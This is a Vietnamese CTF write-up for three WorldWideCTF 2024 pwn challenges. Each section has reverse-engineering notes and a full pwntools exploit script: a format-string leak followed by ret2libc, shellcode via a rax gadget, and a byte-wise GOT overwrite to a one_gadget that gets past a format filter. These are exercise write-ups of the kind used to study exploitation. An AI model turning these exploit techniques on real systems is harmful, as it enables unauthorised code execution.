---
# System prepended metadata

title: WorldWideCTF 2024
tags: [writeup]

---

- ở giải này mình giải được 3 bài , 1 bài beginers và 2 bài tag pwn , cũng coi như là thành công đối với mình vì bài thứ 3 gây khá nhiều khó khăn (do hướng đi củ chuối của mình :>> )


## buffer_brawl


bài này được cho file libc sẵn , tuy nhiên khi link libc vào file đề cho thì mất đến 15p mới xong :)))

checksec  : 

full giáp 

![image](https://hackmd.io/_uploads/rkGmviZNye.png)



reverse : 

có 5 option ở đây , ta sẽ đi qua từng option 
![image](https://hackmd.io/_uploads/SkMzvs-N1x.png)

option1 jab : 

mỗi lần gọi option này nó sẽ trừ giá trị của biến global ```stack_life_points``` 1 đơn vị 

![image](https://hackmd.io/_uploads/S1oqvibEyx.png)

giá trị của biến global này là 0x64 -> 100

![image](https://hackmd.io/_uploads/SksAPoZE1l.png)

ngoài ra nó cũng gọi đến hàm này  : 

ta thấy được nếu biến global này =13  thì ta sẽ nhảy vào 1 đoạn có bug BOF , và có lẽ đây cũng là target của bài 
![image](https://hackmd.io/_uploads/HJEN_o-V1l.png)


option2 hook : 

nó giống với option1 , chỉ khác là lần này nó sẽ trừ đi 2 
![image](https://hackmd.io/_uploads/HyQ-OjbN1l.png)


option3 uppercut : 

option này cũng tương tự 2 option trước , nó sẽ trừ 3 với biến global của ta và cũng gọi hàm ```stack_check_up```

![image](https://hackmd.io/_uploads/SyoDdjbNJe.png)


option 4 ```slip``` : 

read 29 byte vào v1[40] và tiếp theo là xuất hiện bug fsb -> ta có thể leak được mọi thứ (canary,exe,libc) và cũng bypass được các biện pháp bảo vệ(PIE,ASLR,CANARY) 

![image](https://hackmd.io/_uploads/B1fsOi-Vye.png)

option5 `TKO` : 

1 hàm rác không cần quan tâm

![image](https://hackmd.io/_uploads/S1nxYoZNJx.png)


EXPLOIT   : 


- target của bài này khá rõ ràng , chỉ cần làm biến global từ 100 thành 13 thì ta có thể sử dụng bug BOF -> ret2libc để get_shell

- muốn biến ```stack_life_points``` này về giá trị 13 thì có khá nhiều cách , ta có thể gọi option3 (option này trừ biến global đi 3 đơn vị) , tuy nhiên ta sẽ đi 1 cách dễ hơn vì cách đầu phải gọi hàm đó khá nhiều lần , ta sẽ sử dụng option4 , option này có bug fsb -> ta có thể thay đổi giá trị của bất kì địa chỉ nào 

- ta cần chú ý là khi thay đổi giá trị thì đi vào 1 trong 3 option đầu thì nó sẽ trừ thêm tương ứng là (1,2,3) nên cần thay đổi giá trị sao cho hợp lý , nếu gọi option1 thì ```stack_check_up``` phải là 14 , option2 thì ```stack_check_up``` là 15 và option3 thì ```stack_check_up``` phải được thay đổi là 16

- ta cũng cần leak libc + canary để có thể ret2libc 


script : 

```python
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./buffer_brawl_patched')
libc = ELF('./libc6_2.35-0ubuntu3.8_amd64.so')
#p = process()
p = remote('buffer-brawl.chal.wwctf.com',1337)
#gdb.attach(p,gdbscript='''
#           b*slip+51
#           brva 0x00000000000013F8
#           brva 0x0000000000001464
#           ''')

target = 0x0000000000004010

p.sendlineafter(b'> ',b'4')
#####leak exe and canary######
p.send('%13$p|%27$p|')

p.recvuntil(b'left?')
p.recvline()
exe_leak = int(p.recvuntil(b'|')[:-1],16)
canary = int(p.recvuntil(b'|')[:-1],16)

log.info(f"exe leak {hex(exe_leak)}")
log.info(f"canary: {hex(canary)}")
exe.address = exe_leak - 0x1747
log.info(f"exe = {hex(exe.address)}")

#######leak libc##########
p.sendlineafter(b'> ',b'4')
payload = b'%7$saaaa'
payload += p64(exe.got.puts)

p.send(payload)
p.recvuntil(b'Right or left?')
p.recvline()
leak_libc = u64(p.recv(6).ljust(8,b'\x00'))
libc.address = leak_libc - libc.sym.puts

log.info(f"leak libc {hex(leak_libc)}")
log.info(f"leak libc: {hex(libc.address)}")
pop_rdi = 0x000000000002a3e5 + libc.address

####change value of target = 16 ######
p.sendlineafter(b'> ',b'4')
p.send(b'%16c%8$hhnaaaaaa' + p64(target + exe.address))


input()
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'Enter your move: ',b'a'*24 + p64(canary) + p64(0) + p64(pop_rdi) + p64(next(libc.search('/bin/sh\x00')))+ p64(pop_rdi+1) + p64(libc.sym.system))



p.interactive()
```


sever đóng ròi : 

![image](https://hackmd.io/_uploads/rJmvsjWNJx.png)





## white_rabbit


bài này khá đơn giản nên sẽ nói nhanh

checksec

NT TẮT -> có thể dùng shellcode , tuy nhiên PIE lại bật , ta cần phân tích xem có thể leak được gì không
![image](https://hackmd.io/_uploads/H1XWnsWVyg.png)

reverse : 


- được tặng địa chỉ hàm main luôn , ngon =)))

![image](https://hackmd.io/_uploads/B1B82sWV1g.png)

- follow : 

có bug BOF luôn , và ta cũng có thể bypass được PIE 

![image](https://hackmd.io/_uploads/Bk9Fnj-EJg.png)

EXPLOIT : 

hướng khai thác của bài này khá rõ ràng , NX tắt -> có địa chỉ binary -> ta sẽ dùng shellcode ở bài này 

dữ liệu sẽ được nhập ở RAX  -> ta sẽ kiếm các gadget liên quan đến RAX như `call jump`

![image](https://hackmd.io/_uploads/rJz_Tj-Nyg.png)


có cả 2 nên dùng cái nào cũng được : 

![image](https://hackmd.io/_uploads/r12j6oW4kg.png)


script : 

```python
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./white_rabbit')
p = remote('whiterabbit.chal.wwctf.com', 1337)
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(120,b'\x90')
p.recvuntil(b'> ')
leak = int(p.recvline()[:-1],16)
print(hex(leak))

exe.address = leak - exe.sym.main
print(hex(exe.address))
input()
p.sendline(shellcode + p64(0x00000000000010bf+exe.address))


p.interactive()
```



## reverb


checksec  : 
Partial RELRO -> có thể overwrite GOT

![image](https://hackmd.io/_uploads/HkOqRoZE1l.png)

reverse : 


ta sẽ chú ý đến đoạn trong hàm while , ta được nhập 384 byte vào ```s``` và sẽ không có BOF ở đoạn này , tuy nhiên khi nhìn đoạn tiếp theo thì ta thấy được có 1 bug fsb -> có thể leak canary , libc (bài này không có PIE nên không cần leak địa chỉ binary)

![image](https://hackmd.io/_uploads/rynvRi-Eyx.png)

phân tích hàm check thử : 

![image](https://hackmd.io/_uploads/rk-ixhbE1l.png)

- đầu tiên có 1 hàm while duyệt 384 lần (có lẽ là size mà ta có thể nhập vào)
- tiếp theo là nó kiếm tra kí tự đầu tiên có phải là kí tự "%" không , nếu có thì nó sẽ đi tiếp flow ctrinh , không thì nó sẽ tăng v2 lên 1 đơn vị

![image](https://hackmd.io/_uploads/rJoZW3bN1g.png)


- tiép theo nó check xem sau kí tự % có phải là kí tự '0' không , nếu phải thì return

- tiếp theo nữa là nếu như kí tự đó là từ 1 đến 9 thì nó sẽ thêm vào 1 mảng 8 byte nptr

check các kí tự ascii ta sẽ biết được > '/' là 0 và 0 sẽ bị loại khỏi trường hợp này 

![image](https://hackmd.io/_uploads/Bk9pWhWVyg.png)


![image](https://hackmd.io/_uploads/S1Fr-2-4Jx.png)

tiếp nữa là nó check xem mảng kí tự đó có <=1 không , nếu có thì return0 , đoạn này có thể hiểu là nó check xem sau kí tự '%' thì có 2 chữ số ở sau không

![image](https://hackmd.io/_uploads/rJLmMnb41e.png)

đoạn cuối cùng là nó sẽ chuyển đổi chuỗi trong nptr thành int và check xem có lớn hơn 57 không , nếu lớn hơn thì cũng return 0

- tóm tắt : đơn giản là nó sẽ check xem có số nào sau kí tự "%" không , các số được cho phép là từ 1-57 

- hàm check này sẽ giới hạn ta thay đổi giá trị của 1 địa chỉ nào đó (vd như địa chỉ GOT) và nó cũng giới hạn offset mà ta có thể leak trong stack

vì GOT chỉ là 1 phần nên mình nghĩ ngay đến overwrite GOT , và tất nhiên cũng cần bypass đoạn check , lúc bypass sẽ khá khó nhằn =)))

### EXPLOIT



- đầu tiên chắc chắn là mình sẽ leak địa chỉ libc trước , tiếp theo nữa là mình sẽ check xem địa chỉ got và địa chỉ system nó khác nhau bao nhiêu byte , ở đây ta thấy được tối đa là 12bit

![image](https://hackmd.io/_uploads/Byke42ZVJg.png)

tuy nhiên nếu ghi giá trị bằng system thì cần setup lại tham số , ta có thể điều khiển được tham số của printf , tuy nhiên sau khi sử dụng bug này xong thì nó sẽ quay lại và sử dụng printf khá nhiều nên có thể gặp lỗi nên mình chuyển sang dùng one_gadget 

- ta sẽ ghi từng byte một vì nếu ghi 2 byte 1 lúc thì hàm check sẽ chặn điều này , và cũng cần bruteforce 

- vì 1 byte cuối của one_gadget sẽ không thay đổi -> ta có thể lấy byte này làm chuẩn để bruteforce , setup logic sau cho chính xác 
- script mình dùng thì giá trị 67 (0x43) sẽ luôn giữ , nhưng vì giá trị cho phép <57 nên ta phải trừ nó đi và setup sau cho hợp lý 

vd : từng byte sẽ là thế này thì ta phải setup sau cho số byte nó ghi được phải bé hơn 57 và thằng tiếp theo trừ đi thằng kế tiếp cũng phải <57


![image](https://hackmd.io/_uploads/BkTLBn-Vye.png)

nói chung cách này khá củ chuối và tốn time nên khuyến khích không làm theo 


- ta sử dụng hàm sorted để nó có thể lấy các giá trị hợp lý từ bé đến cao

script : 

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
p = process()
#p = remote('reverb.chal.wwctf.com', 1337)
#gdb.attach(p,gdbscript='''
#           b*0x0000000000401484
#           ''')

payload = b'%11$saaa'
payload += p64(exe.got.printf)
p.sendline(payload)
p.recvuntil(b'>> ')

printf_ = u64(p.recv(6).ljust(8,b'\x00'))
libc.address = printf_ - libc.sym.printf
print("libc: " + hex(libc.address))
one_gadget = 0xebd43 + libc.address
system_1  = one_gadget & 0xff
system_2 = one_gadget >> 8 & 0xff
system_3 = one_gadget >> 16 & 0xff

package = {
        system_1: exe.got.printf,
        system_2: exe.got.printf+1,
        system_3: exe.got.printf+2,
        }
sort = sorted(package)
print(sort)
print(sort[1]-sort[0])
print(sort[2]-sort[0]-sort[1])
log.info(f"system: {hex(one_gadget)}")
if(sort[0] == 67):
    temp = sort[0] - 20
if(sort[1]-sort[0] > 50):
    temp1 = sort[1] - 30


payload  = f"%20c%{temp}c%16$hhn".encode()
payload += f"%30c%{temp1-sort[0]}c%17$hhn".encode()
payload += f"%{sort[2]-sort[1]}c%18$hhn".encode()

payload  = payload.ljust(48,b'a')
payload += flat(
    package[sort[0]],
    package[sort[1]],
    package[sort[2]],
)
input()
p.sendlineafter(b'>> ',payload)
p.interactive()

```

mình mất tầm 6 lần để get_shell :v  

![image](https://hackmd.io/_uploads/BJWb8h-Eke.png)
